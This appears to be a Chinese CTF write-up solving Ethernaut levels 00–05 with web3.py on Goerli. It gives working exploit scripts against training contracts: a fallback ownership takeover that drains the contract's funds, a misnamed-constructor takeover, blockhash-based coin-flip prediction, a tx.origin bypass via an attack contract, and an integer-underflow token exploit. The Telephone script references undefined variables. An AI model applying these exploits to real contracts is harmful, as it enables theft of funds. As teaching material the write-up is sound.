Ethernaut 00-05 ,使用web3.py

0-5的wp是后面补的,所以比较简洁,也只有使用python的脚本


Ethernaut 区块链 Blockchain Sepolia Goerli CTF python web3.py solidity


需要提前安装好web3库
myKey.py中是我的账户地址(pub)和私钥(priv)
GoerliWeb3()使用的是我在Alchemy申请的Goerli RPC


00 - Hello Ethernaut

import os, json
from f61d.bc import *

con_addr = '0xF2f97e2Fd54F0f1Bc66f6390171e7bD48339bd46'
abi = json.loads('''...[contract.abi]...''')
web3 = GoerliWeb3()
contract = web3.eth.contract(address=con_addr, abi=abi)

abi通过在浏览器console中使用JSON.stringify(contract.abi)获得,也可以使用solc编译器手动编译源码文件得到

solc --abi XXX.sol

运行脚本后进入python交互Console:
调用view和pure类型的函数不需要交易,直接call()即可

>>> contract.functions.info().call()
'You will find what you need in info1().'
>>> contract.functions.info1().call()
'Try info2(), but with "hello" as a parameter.'
>>> contract.functions.info2('hello').call()
'The property infoNum holds the number of the next info method to call.'
>>> contract.functions.infoNum().call()
42
>>> contract.functions.info42().call()
'theMethodName is the name of the next method.'
>>> contract.functions.theMethodName().call()
'The method name is method7123949.'
>>> contract.functions.method7123949().call()
'If you know the password, submit it to authenticate().'
>>> contract.functions.password().call()
'ethernaut0'
>>> contract.functions.authenticate('ethernaut0').call()
[]

没有成功,调用ethernaut0时失败了,因为这个函数不是pure和view类型,不能直接call()
需要设置账户和私钥进行签名后发送交易

from myKey import priv, pub

...

functionName = 'authenticate'
functionArgs = 'ethernaut0'
tx = contract.functions.authenticate(functionArgs).build_transaction({
    'from': pub,
    'gas': 300000,
    'nonce': web3.eth.get_transaction_count(pub),
})
signed_tx = Account.sign_transaction(tx,priv)
tx_h = web3.eth.send_raw_transaction(signed_tx.rawTransaction)
print(f'Transaction hex: {tx_h.hex()}')

01 - Fallback

要获得合约所有权并转走所有的钱,

修改owner的地方有两个,其中contrubute需要1000 ether,不太现实

receive()函数是合约在收到未知的函数调用时,执行的函数。

在0.8.0之前的版本中,是使用fallback()函数,0.8.0之后才有专门的receive()函数

先通过contribute函数转一点钱给合约,在调用receive函数就能获得合约所有权,再调用withdraw即可。

使用web3.py

import os, json
from web3 import Account, Web3
from f61d.bc import GoerliWeb3
from myKey import priv, pub

# 连接合约
con_addr = '0x231CD4B3492c7eC2E054f92DA6c29fF9D79FDD06'
abi = json.loads('''
...[contract abi]...
''')
web3 = GoerliWeb3()
contract = web3.eth.contract(address=con_addr, abi=abi)

# 调用contribute函数,并通过value参数转钱
tx = contract.functions.contribute().build_transaction({
    'from': pub,
    'gas': 300000,
    'gasPrice': web3.eth.gas_price,
    'nonce': web3.eth.get_transaction_count(pub),
    'value': web3.to_wei(0.0005,'ether') # 不能多余0.01 ether
})
# 使用私钥签名交易
signed_tx = Account.sign_transaction(tx,priv)
# 签名交易
tx_h = web3.eth.send_raw_transaction(signed_tx.rawTransaction)
print(f'Transaction hex: {tx_h.hex()}')
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_h)
print(f'Transaction receipt: ') # 交易信息,(发票?)
for i in tx_receipt:
    print(f"{i}: {tx_receipt[i].__repr__()}")

# 调用view和pure类型的函数不需要交易,直接call即可
# 查看合约上,账户里有多少钱
contrib = contract.functions.getContribution().call({'from':pub})
print(web3.from_wei(contrib,'ether'),'ether')


# 直接向合约转账
tx = {
    'chainId': web3.eth.chain_id,
    'from': pub,
    'to': con_addr,
    'gas': 200000,
    'gasPrice': web3.eth.gas_price,
    'nonce': web3.eth.get_transaction_count(pub),
    'data': '0x',  # 空 data
    'value': web3.to_wei(0.0005,'ether')
}
# 签名并发送交易
signed_tx = Account.sign_transaction(tx, priv)
tx_h = web3.eth.send_raw_transaction(signed_tx.rawTransaction)
print(f'Transaction Hash: {tx_h.hex()}')
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_h)
print(f'Transaction receipt: ')
for i in tx_receipt:
    print(f"{i}: {tx_receipt[i].__repr__()}")

# 查看合约owner是否已经改变
owner = contract.functions.owner().call()
assert owner == pub, "Failed"

# 调用withdraw函数
tx3 = contract.functions.withdraw().build_transaction({
    'from': pub,
    'gas': 300000,
    'gasPrice': web3.eth.gas_price,
    'nonce': web3.eth.get_transaction_count(pub)
})
signed_tx3 = Account.sign_transaction(tx3,priv)
tx_h = web3.eth.send_raw_transaction(signed_tx3.rawTransaction)

# 确认合约里的钱被转走
assert web3.eth.get_balance(contract.address) == 0


02 - Fallout

从 Solidity 0.4.22 版本开始,可以使用 constructor() 关键字来定义构造函数

低版本中使用与合约同名的函数代替

但题目代码中合约名叫Fallout,但构造函数叫Fal1out,还是public,所以可以直接调用这个函数获得合约所有权

import os, json
from web3 import Account, Web3
from f61d.bc import GoerliWeb3
from myKey import priv, pub


con_addr = '0x60ed8297704A2e08aB7f231D61adDc1D640F35aF'
abi = json.loads('''
...[abi]...
''')
web3 = GoerliWeb3()
contract = web3.eth.contract(address=con_addr, abi=abi)

tx = contract.functions.Fal1out().build_transaction({
    'from': pub,
    'gas': 300000,
    'gasPrice': web3.eth.gas_price,
    'nonce': web3.eth.get_transaction_count(pub),
})

signed_tx = Account.sign_transaction(tx,priv)
tx_h = web3.eth.send_raw_transaction(signed_tx.rawTransaction)
print(f'Transaction hex: {tx_h.hex()}')

tx_receipt = web3.eth.wait_for_transaction_receipt(tx_h)
print(f'Transaction receipt: ')
for i in tx_receipt:
    print(f"{i}: {tx_receipt[i].__repr__()}")


assert pub == contract.functions.owner().call(), 'failed'

03 - CoinFlip

区块链上是没有随机这个概念的,任何数据都是可预测的

调用flip函数会接受一个bool参数,需要连续猜对10次才能胜利

但是计算随机数的方法是

uint256 blockValue = uint256(blockhash(block.number - 1));

即上一个区块的hash值。

区块链上的块是大约每15秒产生一个新块,不算快,但也需要使用第三方合约或者脚本来实现攻击

使用web3.py

import os, json
from web3 import Account, Web3
from f61d.bc import GoerliWeb3
from myKey import priv, pub


con_addr = '0x0A9EDfd813BfC3D60d46c09D52Cbc3f815AE5945'
abi = json.loads('''
...【abi】...
''')
web3 = GoerliWeb3()
contract = web3.eth.contract(address=con_addr, abi=abi)
FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968

print(contract.functions.consecutiveWins().call())

def sendTransaction(guess):
    tx = contract.functions.flip(guess).build_transaction({
        'from': pub,
        'gas': 300000,
        'gasPrice': web3.eth.gas_price,
        'nonce': web3.eth.get_transaction_count(pub),
    })
    signed_tx = Account.sign_transaction(tx,priv)
    tx_h = web3.eth.send_raw_transaction(signed_tx.rawTransaction)
    print(f'Transaction hex: {tx_h.hex()}')
    tx_receipt = web3.eth.wait_for_transaction_receipt(tx_h)
    
for _ in range(10):
    print('Turn',_)
    blkNum = web3.eth.get_block_number()
    blk = web3.eth.get_block(blkNum)
    bh = int.from_bytes(blk.hash)
    print(f'Block Hash: {hex(bh)}')
    guess = bool(bh // FACTOR)
    print('guess',guess)
    sendTransaction(guess)
    print('Success:',contract.functions.consecutiveWins().call())
    print('\n\n\n')

04 - Telephone

需要tx.origin != msg.sender

tx.origin是发起交易的账户,msg.sender是直接请求调用的账户,使用一个合约来调用这个函数即可

使用web3.py实现攻击

先编写一个第三方合约

contract Attack {

   Telephone public immutable tgt;

   constructor(address tgt_addr) {
       tgt = Telephone(tgt_addr);
   }

   function attack() public {
       tgt.changeOwner(msg.sender);
       require(tgt.owner() == msg.sender,"failed");
   }
}

使用solc编译得到abi和合约字节码

solc --asm --abi Attack.sol

编写攻击脚本

import os, json
from f61d.bc import GoerliWeb3
from web3 import Web3, Account
from myKey import pub,priv


con_addr = '0x4eAAF81b2474Fb8865a3AB552593437bd73280b0'
abi = json.loads('''
...[题目合约abi]...
''')
web3 = GoerliWeb3()
contract = web3.eth.contract(address=con_addr,abi=abi)


atk_abi = json.loads('''
...[攻击合约abi]...
''')
atk_bytecode = '[Contract Bytecode]'
atk_contract = web3.eth.contract(abi=atk_abi, bytecode=atk_bytecode)

# 部署攻击合约,调用construct函数
atk_deploy_tx = atk_contract.constructor(con_addr).build_transaction({
    'from': pub,
    'gas': 2000000,
    'gasPrice': web3.eth.gas_price
})
signed_deploy_transaction = Account.sign_transaction(deploy_transaction, private_key=private_key)
transaction_hash = web3.eth.send_raw_transaction(signed_deploy_transaction.rawTransaction)
print(f"{transaction_hash = }")
transaction_receipt = web3.eth.wait_for_transaction_receipt(transaction_hash)
atk_address = transaction_receipt['contractAddress']
print('Attack contract address:',contract_address)


# 调用攻击合约的攻击函数
atk_tx = atk_contract.functions.attack().build_transaction({
    'from': pub,
    'to': atk_address,
    'gas': 2000000,
    'gasPrice': web3.eth.gas_price,
    'nonce': web3.eth.get_transaction_count(pub)
})
signed_transaction = Account.sign_transaction(atk_tx, private_key=priv)
transaction_hash = web3.eth.send_raw_transaction(signed_transaction.rawTransaction)
print(f"{transaction_hash = }")
transaction_receipt = web3.eth.wait_for_transaction_receipt(transaction_hash)
print("transaction_receipt: ")
for i in transaction_receipt:
    print(f"{i} : {transaction_receipt[i].__repr__()}")

assert contract.functions.owner().call() == pub, "failed"

05 - Token

要增加手中的token(token就是balances数组中的值)

注意到版本是0.6.0,而且没有使用SafeMath.sol库,转账函数中的减法也没有进行验证,所以存在整数溢出漏洞

初始有20块钱,只需要向随机一个EOA地址转账21元即可触发溢出

import os, json
from f61d.bc import GoerliWeb3
from web3 import Web3, Account
from myKey import pub,priv


# 部署题目合约
con_addr = '0xD5AdF1b803788E449930901940cAFED05840D004'
abi = json.loads('''
...[abi]...
'''.replace('\n',''))
web3 = GoerliWeb3()
contract = web3.eth.contract(address=con_addr, abi=abi)

balance = contract.functions.balanceOf(pub).call()
print(f"{balance = }")
# Generate Random address
to_account = Account.create().address
# 发送balance+1块钱,触发整数减法溢出
tx = contract.functions.transfer(to_account, balance+1).build_transaction({
    'from': pub,
    'gas': 2000000,
    'gasPrice': web3.eth.gas_price,
    'nonce': web3.eth.get_transaction_count(pub)
})
signed_tx = Account.sign_transaction(tx, priv)
tx_h = web3.eth.send_raw_transaction(signed_tx.rawTransaction)
print(f"{tx_h.hex() = }")
tx_re = web3.eth.wait_for_transaction_receipt(tx_h)
print("transaction_receipt: ")
for i in tx_re:
    print(f"{i} : {tx_re[i].__repr__()}")

balance = contract.functions.balanceOf(pub).call()
print(f"{balance = }")

最后输出的balance值
在这里插入图片描述
刚好是 2 256 − 1 2^{256}-1 22561

  • 20
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值